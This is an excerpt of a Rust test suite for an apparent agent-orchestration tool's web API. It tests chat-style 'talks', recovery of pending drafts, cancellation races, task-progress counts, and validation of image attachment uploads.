14722 TaskStatus::Blocked,
14723 TaskStatus::Parked,
14724 TaskStatus::Done,
14725 TaskStatus::Queued,
14726 ] {
14727 mine.status = status;
14728 queue.put(&mut mine).expect("update status");
14729 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14730 let progress = &detail["task_progress"];
14731 assert_eq!(progress["total"], 1);
14732 assert_eq!(progress["counts"][status.as_str()], 1);
14733 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14734 assert_eq!(detail["status"], "open", "completion never closes the chat");
14735 if status == TaskStatus::Done {
14736 assert_eq!(progress["state"], "complete");
14737 assert_eq!(progress["done"], 1);
14738 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14739 } else {
14740 assert_eq!(progress["state"], "incomplete");
14741 assert_eq!(progress["done"], 0);
14742 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14743 }
14744 }
14745 }
14746
14747 #[test]
14748 fn talk_task_progress_counts_mixed_statuses() {
14749 let mut tasks: Vec<_> = [
14750 TaskStatus::Queued,
14751 TaskStatus::Running,
14752 TaskStatus::Held,
14753 TaskStatus::Failed,
14754 TaskStatus::Blocked,
14755 TaskStatus::Parked,
14756 TaskStatus::Done,
14757 ]
14758 .into_iter()
14759 .map(|status| {
14760 let mut task = Task::new(
14761 "task".into(),
14762 "task".into(),
14763 PathBuf::from("/repo"),
14764 Source::Human,
14765 );
14766 task.status = status;
14767 task
14768 })
14769 .collect();
14770 let progress = talk_task_progress(&tasks);
14771 assert_eq!(progress.state, "incomplete");
14772 assert_eq!(progress.total, 7);
14773 assert_eq!(progress.done, 1);
14774 assert_eq!(progress.unfinished_ids.len(), 6);
14775 assert!(progress.counts.values().all(|count| *count == 1));
14776 assert_eq!(
14777 progress.unfinished_ids,
14778 tasks[..6]
14779 .iter()
14780 .map(|task| task.id.clone())
14781 .collect::<Vec<_>>()
14782 );
14783
14784 for task in &mut tasks {
14785 task.status = TaskStatus::Done;
14786 }
14787 let complete = talk_task_progress(&tasks);
14788 assert_eq!(complete.state, "complete");
14789 assert_eq!(complete.done, 7);
14790 assert!(complete.unfinished_ids.is_empty());
14791 tasks[0].status = TaskStatus::Queued;
14792 let requeued = talk_task_progress(&tasks);
14793 assert_eq!(requeued.state, "incomplete");
14794 assert_eq!(requeued.done, 6);
14795 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14796
14797 let empty = talk_task_progress(&[]);
14798 assert_eq!(empty.state, "none");
14799 assert_eq!(empty.total, 0);
14800 assert_eq!(empty.done, 0);
14801 assert!(empty.unfinished_ids.is_empty());
14802 assert!(empty.counts.values().all(|count| *count == 0));
14803 }
14804
14805 #[tokio::test]
14806 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14807 let (_tmp, _repo, f) = talk_fixture().await;
14808 let id = f.post("/api/talks", None).await.json()["id"]
14809 .as_str()
14810 .expect("id")
14811 .to_owned();
14812
14813 let res = f
14814 .post(
14815 &format!("/api/talks/{id}/say"),
14816 Some(r#"{"text":"what does the queue module do?"}"#),
14817 )
14818 .await;
14819 assert_eq!(res.status, 202, "{}", res.body);
14820 let queued = res.json();
14821 let turns = queued["turns"].as_array().expect("turns array");
14822 assert_eq!(
14823 turns.len(),
14824 1,
14825 "the answer reflects only what is on disk the instant it is sent, \
14826 before the agent's turn - which can run for the whole of \
14827 `[graph] timeout_talk` - has a chance to land: {queued}"
14828 );
14829 assert_eq!(turns[0]["who"], "operator");
14830 assert_eq!(turns[0]["body"], "what does the queue module do?");
14831 assert_eq!(
14832 queued["thinking"], true,
14833 "the accepted response exposes the background turn claim: {queued}"
14834 );
14835
14836 let mut turns_after = 1;
14837 for _ in 0..SETTLE_STEPS {
14838 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14839 turns_after = detail["turns"].as_array().expect("turns array").len();
14840 if turns_after == 2 {
14841 break;
14842 }
14843 tokio::time::sleep(Duration::from_millis(10)).await;
14844 }
14845 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14846 }
14847
14848 #[tokio::test]
14875 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14876 let tmp = TempDir::new().expect("tempdir");
14877 let repo = tmp.path().join("repo");
14878 std::fs::create_dir_all(&repo).expect("repo dir");
14879 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14880 let home = TempDir::new().expect("temp home");
14881 let talks = Talks::at(home.path().join("talks"));
14882 let ui = Arc::new(
14883 Ui::new(
14884 Queue::at(home.path().join("queue")),
14885 Questions::at(home.path().join("questions")),
14886 talks.clone(),
14887 home.path().join("runs"),
14888 home.path().to_path_buf(),
14889 repo.clone(),
14890 )
14891 .with_worktrees_root(home.path().join("wt")),
14892 );
14893 let cfg = config_for(&repo).await.expect("discover config");
14894
14895 for delay in 0..40u32 {
14896 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14897 let id = talk.id.clone();
14898
14899 let handler = tokio::spawn(talk_say(
14900 State(Arc::clone(&ui)),
14901 Path(id.clone()),
14902 Ok(Json(NewTalkTurn {
14903 reply_to: None,
14904 text: "what does the queue module do?".to_owned(),
14905 attachments: Vec::new(),
14906 })),
14907 ));
14908 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14909 handler.abort();
14910 let _ = handler.await;
14913
14914 let mut turns = 0;
14915 for _ in 0..SETTLE_STEPS {
14916 if let Ok(fresh) = talks.get(&id) {
14917 turns = fresh.turns.len();
14918 if turns != 1 {
14919 break;
14920 }
14921 }
14922 tokio::time::sleep(Duration::from_millis(10)).await;
14923 }
14924 assert_ne!(
14925 turns, 1,
14926 "delay {delay}: talk {id} recorded the operator's turn but \
14927 the agent never answered - the reply task was never \
14928 started after the handler future was dropped"
14929 );
14930 }
14931 }
14932
14933 #[tokio::test]
14978 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14979 let tmp = TempDir::new().expect("tempdir");
14980 let repo = tmp.path().join("repo");
14981 std::fs::create_dir_all(&repo).expect("repo dir");
14982 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14983 let home = TempDir::new().expect("temp home");
14984 let talks = Talks::at(home.path().join("talks"));
14985 let ui = Arc::new(
14986 Ui::new(
14987 Queue::at(home.path().join("queue")),
14988 Questions::at(home.path().join("questions")),
14989 talks.clone(),
14990 home.path().join("runs"),
14991 home.path().to_path_buf(),
14992 repo.clone(),
14993 )
14994 .with_worktrees_root(home.path().join("wt")),
14995 );
14996 let cfg = config_for(&repo).await.expect("discover config");
14997
14998 for attempt in 0..3u32 {
14999 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15000 let id = talk.id.clone();
15001 let turn_guard = ui
15004 .begin_talk_turn(&id)
15005 .expect("claim the turn")
15006 .expect("a fresh talk owes nobody a turn");
15007
15008 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15009 let (release_tx, release_rx) = std::sync::mpsc::channel();
15010 ui.set_busy_queue_gate(BusyQueueGate {
15011 reached: reached_tx,
15012 release: release_rx,
15013 });
15014
15015 let handler = tokio::spawn(talk_say(
15016 State(Arc::clone(&ui)),
15017 Path(id.clone()),
15018 Ok(Json(NewTalkTurn {
15019 reply_to: None,
15020 text: "what does the queue module do?".to_owned(),
15021 attachments: Vec::new(),
15022 })),
15023 ));
15024
15025 tokio::time::timeout(Duration::from_secs(5), reached_rx)
15030 .await
15031 .unwrap_or_else(|_| {
15032 panic!(
15033 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15034 )
15035 })
15036 .expect("the busy branch dropped the gate without using it");
15037 assert!(
15038 crate::consult::try_publication_guard(&talks, &id)
15039 .expect("publication fence")
15040 .is_none(),
15041 "a queued worker cannot promote text before its successor reservation is published"
15042 );
15043
15044 let closing = Arc::clone(&ui.admissions).write_owned();
15048 tokio::pin!(closing);
15049 std::future::poll_fn(|cx| {
15050 assert!(closing.as_mut().poll(cx).is_pending());
15051 std::task::Poll::Ready(())
15052 })
15053 .await;
15054 assert!(
15055 ui.begin_admission().is_err(),
15056 "replacement blocks later admissions"
15057 );
15058
15059 let running = talks.get(&id).expect("reload talk");
15066 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15067
15068 handler.abort();
15072 let _ = handler.await;
15073 std::future::poll_fn(|cx| {
15074 assert!(
15075 closing.as_mut().poll(cx).is_pending(),
15076 "HTTP cancellation must not abandon a publishing transaction"
15077 );
15078 std::task::Poll::Ready(())
15079 })
15080 .await;
15081 assert!(
15082 crate::consult::try_publication_guard(&talks, &id)
15083 .expect("publication fence after disconnect")
15084 .is_none()
15085 );
15086
15087 let _ = release_tx.send(());
15093 drop(
15094 tokio::time::timeout(Duration::from_secs(5), closing)
15095 .await
15096 .expect("short admission transaction should release for replacement"),
15097 );
15098 assert!(
15099 crate::consult::try_publication_guard(&talks, &id)
15100 .expect("publication fence after acknowledgement")
15101 .is_some(),
15102 "the publication fence is not retained by the long response"
15103 );
15104
15105 let mut fresh = talks.get(&id).expect("reload talk");
15108 for _ in 0..SETTLE_STEPS {
15109 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15110 break;
15111 }
15112 tokio::time::sleep(Duration::from_millis(10)).await;
15113 fresh = talks.get(&id).expect("reload talk");
15114 }
15115 assert!(
15116 fresh.pending.is_empty() && fresh.turns.len() == 2,
15117 "attempt {attempt}: talk {id} left the operator's text queued \
15118 with no drainer - the reclaimed turn was dropped along with \
15119 the handler future (pending {:?}, {} turns)",
15120 fresh.pending,
15121 fresh.turns.len()
15122 );
15123 }
15124 }
15125
15126 #[tokio::test]
15127 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15128 let (_tmp, _repo, f) = talk_fixture().await;
15129 let id = f.post("/api/talks", None).await.json()["id"]
15130 .as_str()
15131 .expect("id")
15132 .to_owned();
15133 let store = f.talks();
15134 let mut recovered = store.get(&id).expect("opened talk");
15135 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15136 .expect("persist pending draft without a live turn");
15137
15138 let edited = f
15139 .post(
15140 &format!("/api/talks/{id}/pending/edit"),
15141 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15142 )
15143 .await;
15144 assert_eq!(edited.status, 200, "{}", edited.body);
15145 assert!(edited.json()["thinking"].as_bool().unwrap());
15146
15147 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15148 for _ in 0..SETTLE_STEPS {
15149 if detail["turns"].as_array().expect("turns").len() == 2 {
15150 break;
15151 }
15152 tokio::time::sleep(Duration::from_millis(10)).await;
15153 detail = f.get(&format!("/api/talks/{id}")).await.json();
15154 }
15155 let turns = detail["turns"].as_array().expect("turns");
15156 assert_eq!(
15157 turns.len(),
15158 2,
15159 "the recovered draft must run once: {detail}"
15160 );
15161 assert_eq!(turns[0]["body"], "corrected");
15162 assert_eq!(detail["pending"], "");
15163 }
15164
15165 #[tokio::test]
15166 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15167 let tmp = TempDir::new().expect("tempdir");
15168 let repo = tmp.path().join("repo");
15169 std::fs::create_dir_all(&repo).expect("repo dir");
15170 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15171 let f = Fixture::with_repo(repo).await;
15172 let id = f.post("/api/talks", None).await.json()["id"]
15173 .as_str()
15174 .expect("id")
15175 .to_owned();
15176 let store = f.talks();
15177 let mut recovered = store.get(&id).expect("opened talk");
15178 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15179 .expect("persist pending draft without a live turn");
15180
15181 let refused = f
15182 .post(
15183 &format!("/api/talks/{id}/say"),
15184 Some(r#"{"text":"new message"}"#),
15185 )
15186 .await;
15187 assert_eq!(refused.status, 409, "{}", refused.body);
15188 assert!(refused.body.contains("resume"), "{}", refused.body);
15189 let saved = store.get(&id).expect("draft remains after refusal");
15190 assert!(saved.turns.is_empty());
15191 assert_eq!(saved.pending, "saved before restart");
15192
15193 let say_path = format!("/api/talks/{id}/say");
15194 let (first, second) = tokio::join!(
15195 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15196 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15197 );
15198 assert_eq!(first.status, 409, "{}", first.body);
15199 assert_eq!(second.status, 409, "{}", second.body);
15200 let saved = store
15201 .get(&id)
15202 .expect("draft remains after concurrent refusals");
15203 assert!(saved.turns.is_empty());
15204 assert_eq!(saved.pending, "saved before restart");
15205
15206 let resumed = f
15207 .post(&format!("/api/talks/{id}/pending/resume"), None)
15208 .await;
15209 assert_eq!(resumed.status, 202, "{}", resumed.body);
15210 let duplicate = f
15211 .post(&format!("/api/talks/{id}/pending/resume"), None)
15212 .await;
15213 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15214
15215 for _ in 0..SETTLE_STEPS {
15216 if store.get(&id).expect("talk").turns.len() == 2 {
15217 break;
15218 }
15219 tokio::time::sleep(Duration::from_millis(10)).await;
15220 }
15221 let finished = store.get(&id).expect("finished talk");
15222 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15223 assert_eq!(finished.turns[0].body, "saved before restart");
15224 assert!(finished.pending.is_empty());
15225 }
15226
15227 #[tokio::test]
15228 async fn an_image_only_recovered_draft_resumes_without_text() {
15229 let (_tmp, _repo, f) = talk_fixture().await;
15230 let id = f.post("/api/talks", None).await.json()["id"]
15231 .as_str()
15232 .expect("id")
15233 .to_owned();
15234 let uploaded = f
15235 .post_bytes(
15236 &format!("/api/talks/{id}/attachments"),
15237 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15238 PNG_BYTES,
15239 )
15240 .await;
15241 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15242 let attachment = f
15243 .talks()
15244 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15245 .expect("attachment metadata")
15246 .expect("stored attachment");
15247 let store = f.talks();
15248 let mut recovered = store.get(&id).expect("opened talk");
15249 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15250
15251 let resumed = f
15252 .post(&format!("/api/talks/{id}/pending/resume"), None)
15253 .await;
15254 assert_eq!(resumed.status, 202, "{}", resumed.body);
15255 for _ in 0..SETTLE_STEPS {
15256 if store.get(&id).expect("talk").turns.len() == 2 {
15257 break;
15258 }
15259 tokio::time::sleep(Duration::from_millis(10)).await;
15260 }
15261 let finished = store.get(&id).expect("finished talk");
15262 assert_eq!(finished.turns.len(), 2, "{finished:?}");
15263 assert!(finished.turns[0].body.is_empty());
15264 assert_eq!(finished.turns[0].attachments.len(), 1);
15265 assert!(finished.pending_attachments.is_empty());
15266 }
15267
15268 #[tokio::test]
15269 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15270 let (_tmp, _repo, f) = talk_fixture().await;
15271 let id = f.post("/api/talks", None).await.json()["id"]
15272 .as_str()
15273 .expect("id")
15274 .to_owned();
15275 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15276 assert_eq!(closed.status, 200, "{}", closed.body);
15277 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15278 .expect("serialize closed talk");
15279 for (path, body) in [
15280 (format!("/api/talks/{id}/pending/resume"), None),
15281 (
15282 format!("/api/talks/{id}/pending/clear"),
15283 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15284 ),
15285 (
15286 format!("/api/talks/{id}/pending/edit"),
15287 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15288 ),
15289 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15290 ] {
15291 let response = f.post(&path, body).await;
15292 assert_eq!(response.status, 409, "{}", response.body);
15293 }
15294 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15295 .expect("serialize closed talk");
15296 assert_eq!(
15297 after_clear, before_clear,
15298 "clear must not rewrite a closed talk"
15299 );
15300 }
15301
15302 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15305
15306 #[tokio::test]
15307 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15308 let tmp = TempDir::new().expect("tempdir");
15309 let repo = tmp.path().join("repo");
15310 std::fs::create_dir_all(&repo).expect("repo dir");
15311 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15312 let f = Fixture::with_repo(repo).await;
15313 let id_a = f.post("/api/talks", None).await.json()["id"]
15314 .as_str()
15315 .unwrap()
15316 .to_owned();
15317 let id_b = f.post("/api/talks", None).await.json()["id"]
15318 .as_str()
15319 .unwrap()
15320 .to_owned();
15321
15322 let a = f
15323 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15324 .await;
15325 assert_eq!(a.status, 202, "{}", a.body);
15326 assert_eq!(a.json()["thinking"], true);
15327 let b = f
15328 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15329 .await;
15330 assert_eq!(b.status, 202, "{}", b.body);
15331 assert_eq!(b.json()["thinking"], true);
15332
15333 let listed = f.get("/api/talks").await.json();
15334 for id in [&id_a, &id_b] {
15335 let view = listed
15336 .as_array()
15337 .unwrap()
15338 .iter()
15339 .find(|talk| talk["id"] == *id)
15340 .unwrap();
15341 assert_eq!(view["thinking"], true, "{listed}");
15342 }
15343 let repeated = f
15344 .post(
15345 &format!("/api/talks/{id_a}/say"),
15346 Some(r#"{"text":"again"}"#),
15347 )
15348 .await;
15349 assert_eq!(repeated.status, 202, "{}", repeated.body);
15350 assert_eq!(repeated.json()["pending"], "again");
15351 }
15352
15353 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15356
15357 #[tokio::test]
15358 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15359 let f = Fixture::start().await;
15360 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15361
15362 let res = f
15363 .post_bytes(
15364 &format!("/api/talks/{id}/attachments"),
15365 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15366 PNG_BYTES,
15367 )
15368 .await;
15369 assert_eq!(res.status, 201, "{}", res.body);
15370 let body = res.json();
15371 assert_eq!(body["name"], "shot.png");
15372 assert_eq!(body["mime"], "image/png");
15373 assert_eq!(body["bytes"], PNG_BYTES.len());
15374 let att_id = body["id"].as_str().expect("id").to_owned();
15375 assert_eq!(
15376 att_id.len(),
15377 32,
15378 "the id must never be a client-suppliable path: {att_id}"
15379 );
15380
15381 let got = f
15382 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15383 .await;
15384 assert_eq!(got.status, 200, "{}", got.body);
15385 assert_eq!(got.header("content-type"), Some("image/png"));
15386 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15387 assert_eq!(got.bytes, PNG_BYTES);
15388 }
15389
15390 #[tokio::test]
15391 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15392 let f = Fixture::start().await;
15393 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15394
15395 let svg = f
15398 .post_bytes(
15399 &format!("/api/talks/{id}/attachments"),
15400 &[("Content-Type", "image/svg+xml")],
15401 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15402 )
15403 .await;
15404 assert!(
15405 (400..500).contains(&svg.status),
15406 "svg must be refused: {} {}",
15407 svg.status,
15408 svg.body
15409 );
15410 assert!(svg.body.contains("SVG"), "{}", svg.body);
15411
15412 let text = f
15413 .post_bytes(
15414 &format!("/api/talks/{id}/attachments"),
15415 &[("Content-Type", "text/plain")],
15416 b"just some text",
15417 )
15418 .await;
15419 assert!(
15420 (400..500).contains(&text.status),
15421 "an unlisted type must be refused: {} {}",
15422 text.status,
15423 text.body
15424 );
15425
15426 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15429 let big = f
15430 .post_bytes(
15431 &format!("/api/talks/{id}/attachments"),
15432 &[("Content-Type", "image/png")],
15433 &oversized,
15434 )
15435 .await;
15436 assert_eq!(
15437 big.status,
15438 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15439 "{}",
15440 big.body
15441 );
15442 }
15443
15444 #[tokio::test]
15445 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15446 let f = Fixture::start().await;
15447 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15448
15449 let res = f
15452 .post_bytes(
15453 &format!("/api/talks/{id}/attachments"),
15454 &[("Content-Type", "image/png")],
15455 b"<html>not a picture</html>",
15456 )
15457 .await;
15458 assert!((400..500).contains(&res.status), "{}", res.body);
15459 }
15460
15461 #[tokio::test]
15462 async fn an_unknown_attachment_id_is_a_404() {
15463 let f = Fixture::start().await;
15464 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15465
15466 let res = f
15467 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15468 .await;
15469 assert_eq!(res.status, 404, "{}", res.body);
15470 }
15471
15472 #[tokio::test]
15473 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15474 let f = Fixture::start().await;
15475 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15476
15477 let uploaded = f
15478 .post_bytes(
15479 &format!("/api/talks/{id}/attachments"),
15480 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15481 PNG_BYTES,
15482 )
15483 .await;
15484 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15485 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15486
15487 let res = f
15488 .post(
15489 &format!("/api/talks/{id}/say"),
15490 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15491 )
15492 .await;
15493 assert_eq!(res.status, 202, "{}", res.body);
15494 let queued = res.json();
15495 let turns = queued["turns"].as_array().expect("turns array");
15496 assert_eq!(
15497 turns.len(),
15498 1,
15499 "an empty body with an attachment is still a turn: {queued}"
15500 );
15501 assert_eq!(turns[0]["who"], "operator");
15502 assert_eq!(turns[0]["body"], "");
15503 let atts = turns[0]["attachments"]
15504 .as_array()
15505 .expect("attachments array");
15506 assert_eq!(atts.len(), 1);
15507 assert_eq!(atts[0]["id"], att_id);
15508 assert_eq!(atts[0]["mime"], "image/png");
15509
15510 let on_disk = f.talks().get(&id).expect("get");
15513 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15514 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15515 }
15516
15517 #[tokio::test]
15518 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15519 let f = Fixture::start().await;
15520 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15521
15522 let res = f
15523 .post(
15524 &format!("/api/talks/{id}/say"),
15525 Some(&format!(
15526 r#"{{"text":"hi","attachments":["{}"]}}"#,
15527 "a".repeat(32)
15528 )),
15529 )
15530 .await;
15531 assert!((400..500).contains(&res.status), "{}", res.body);
15532 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15533
15534 let on_disk = f.talks().get(&id).expect("get");
15535 assert!(
15536 on_disk.turns.is_empty(),
15537 "a rejected attachment id must not partially record the turn: {:?}",
15538 on_disk.turns
15539 );
15540 }
15541
15542 #[tokio::test]
15543 async fn talk_close_makes_the_talk_refuse_further_turns() {
15544 let f = Fixture::start().await;
15545 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15546
15547 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15548 assert_eq!(closed.status, 200, "{}", closed.body);
15549 assert_eq!(closed.json()["status"], "closed");
15550
15551 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15553 assert_eq!(closed_again.status, 200);
15554 assert_eq!(closed_again.json()["status"], "closed");
15555
15556 let said = f
15557 .post(
15558 &format!("/api/talks/{id}/say"),
15559 Some(r#"{"text":"too late"}"#),
15560 )
15561 .await;
15562 assert_eq!(said.status, 409, "{}", said.body);
15563 }
15564
15565 #[tokio::test]
15566 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15567 let (_tmp, _repo, f) = talk_fixture().await;
15568 let id = f.post("/api/talks", None).await.json()["id"]
15569 .as_str()
15570 .expect("id")
15571 .to_owned();
15572 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15573 assert_eq!(closed.status, 200, "{}", closed.body);
15574
15575 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15576 assert_eq!(reopened.status, 200, "{}", reopened.body);
15577 assert_eq!(reopened.json()["status"], "open");
15578
15579 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15581 assert_eq!(reopened_again.status, 200);
15582 assert_eq!(reopened_again.json()["status"], "open");
15583
15584 let said = f
15585 .post(
15586 &format!("/api/talks/{id}/say"),
15587 Some(r#"{"text":"still there?"}"#),
15588 )
15589 .await;
15590 assert_eq!(
15591 said.status, 202,
15592 "a reopened talk accepts turns again: {}",
15593 said.body
15594 );
15595 }
15596
15597 #[tokio::test]
15598 async fn talk_reopen_on_an_unknown_id_is_404() {
15599 let f = Fixture::start().await;
15600 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15601 assert_eq!(res.status, 404, "{}", res.body);
15602 }
15603
15604 #[tokio::test]
15605 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15606 let f = Fixture::start().await;
15607 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15608
15609 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15610 assert_eq!(deleted.status, 204, "{}", deleted.body);
15611
15612 let after = f.get(&format!("/api/talks/{id}")).await;
15613 assert_eq!(after.status, 404, "{}", after.body);
15614
15615 let listed = f.get("/api/talks").await.json();
15616 assert!(
15617 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15618 "a deleted talk must not linger in the list: {listed}"
15619 );
15620 }
15621
15622 #[tokio::test]
15623 async fn talk_delete_on_an_unknown_id_is_404() {
15624 let f = Fixture::start().await;
15625 let res = f.delete("/api/talks/nonexistent-id").await;
15626 assert_eq!(res.status, 404, "{}", res.body);
15627 }
15628
15629 #[tokio::test]
15633 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15634 let f = Fixture::start().await;
15635 let (a, b, gone) = (
15636 "20260902-140501-aaaa",
15637 "20260902-140502-bbbb",
15638 "20260902-140503-cccc",
15639 );
15640 write_run(&f.runs(), a, RunStatus::Stalled);
15641 let mut review = RunState::new(
15642 PathBuf::from("/repo/magi"),
15643 "main".to_owned(),
15644 "0123456789abcdef".to_owned(),
15645 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15646 .to_owned(),
15647 Config::default(),
15648 );
15649 review.id = b.to_owned();
15650 review.status = RunStatus::Merged;
15651 write_state(&f.runs(), &review);
15652
15653 let mut task = Task::new(
15654 "retry".to_owned(),
15655 "Do the thing".to_owned(),
15656 PathBuf::from("/repo/magi"),
15657 Source::Human,
15658 );
15659 task.start(a.to_owned());
15660 task.stall("quota");
15661 task.start(a.to_owned());
15662 task.start(b.to_owned());
15663 task.start(gone.to_owned());
15664 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15666 f.queue().put(&mut task).expect("file the task");
15667
15668 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15669 assert_eq!(res.status, 200, "{}", res.body);
15670 let v = res.json();
15671 let h = v["history"].as_array().expect("history");
15672 assert_eq!(h.len(), 4, "{v}");
15673 assert_eq!(h[0]["kind"], "competition");
15674 assert_eq!(h[0]["status"], "stalled");
15675 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15676 assert_eq!(h[1]["kind"], "resume", "{v}");
15677 assert!(
15678 h[0]["outcome"]
15679 .as_str()
15680 .unwrap()
15681 .contains("unknown. Pass #2"),
15682 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15683 );
15684 assert!(
15685 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15686 "{v}"
15687 );
15688 assert!(
15689 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15690 "an unrecorded cause must not be narrated as an operator park: {v}"
15691 );
15692 assert_eq!(h[2]["kind"], "review");
15693 assert!(
15694 h[2]["description"]
15695 .as_str()
15696 .unwrap()
15697 .contains("magi/aaaa/A")
15698 );
15699 assert_eq!(h[2]["status"], "merged");
15700 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15701 assert_eq!(v["runs_unreadable"], 1);
15702 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15703 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15704 assert_eq!(nodes[4]["note"], "unreadable");
15705 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15706 assert_eq!(v["instruction"], "Do the thing");
15707 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15708
15709 let run = f.get(&format!("/api/runs/{a}")).await.json();
15711 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15712
15713 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15714 }
15715
15716 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15717 let mut s = RunState::new(
15718 PathBuf::from("/repo/magi"),
15719 "main".to_owned(),
15720 "0123456789abcdef".to_owned(),
15721 "Do it".to_owned(),
15722 Config::default(),
15723 );
15724 s.status = status;
15725 edit(&mut s);
15726 s
15727 }
15728
15729 fn flow_task(runs: &[&str]) -> Task {
15730 let mut t = Task::new(
15731 "t".to_owned(),
15732 "Do it".to_owned(),
15733 PathBuf::from("/repo/magi"),
15734 Source::Human,
15735 );
15736 for r in runs {
15737 t.start((*r).to_owned());
